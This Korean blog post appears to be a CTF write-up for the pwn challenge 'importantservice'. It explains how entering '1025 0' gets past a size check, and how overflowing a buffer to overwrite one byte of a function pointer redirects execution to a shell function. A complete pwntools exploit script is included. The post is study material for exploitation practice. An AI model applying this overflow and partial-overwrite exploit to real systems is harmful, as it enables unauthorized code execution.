File information
importantservice: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=384e47753749ac204fb2125a79f489a1ed476104, not stripped
security
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
GDB 및 IDA로 정보를 보면
1. width, height 두 가지의 변수를 받는다.
2. width * height <= 0x400 조건을 거쳐야 함
3. fread를 통해 width 만큼 길이를 입력 받는다.
우선 함수들의 정보를 봐야한다.
Non-debugging symbols:
0x00005555555551a9 givemeshellpls
0x00005555555551bc dologic
0x0000555555555279 main
main에서 변수를 통해 dologic을 부르는 부분이 있다.
(fread 후에 나타나는 변수 호출 부분)
dologic과 givemeshellpls 의 주소 차이가 1-byte 차이라
stackoverflow만 되면 같은 스택내에서 1-byte를 a9로 바꿔주면
givemeshellpls 가 실행될 것이다.
우선 GDB로 메모리를 확인해보니 fread를 통해 입력받는 곳부터
dologic을 담고있는 변수 rbp-0x20 부분의 거리차가 심하게 난다.
처음 프로그램을 실행하고 1025 0 을 입력하면
0x400 검증 부분은 우회되고 1024만큼 더미값을 넣고
1-byte만 'a9'로 덮어쓰면 givemeshellpls가 실행된다.
from pwn import *
def script():
p = process("./importantservice")
print p.recvline()
p.sendline("1025 0")
print p.recvline()
data = "a"*1024
data += "\xa9"
p.sendline(data)
p.interactive()
if __name__ == "__main__":
script()
'[ ★ ]Study > CTF' 카테고리의 다른 글
Pwntools 설치(install) (0) | 2019.04.03 |
---|---|
X-MAS 2018 Greetings from Santa (0) | 2019.01.01 |
TUCTF2018 Shella_Easy(pwn) (0) | 2018.12.15 |
TUCTF2018 - ehh (0) | 2018.12.15 |
RITSEC2018 ezpwn (0) | 2018.11.19 |
댓글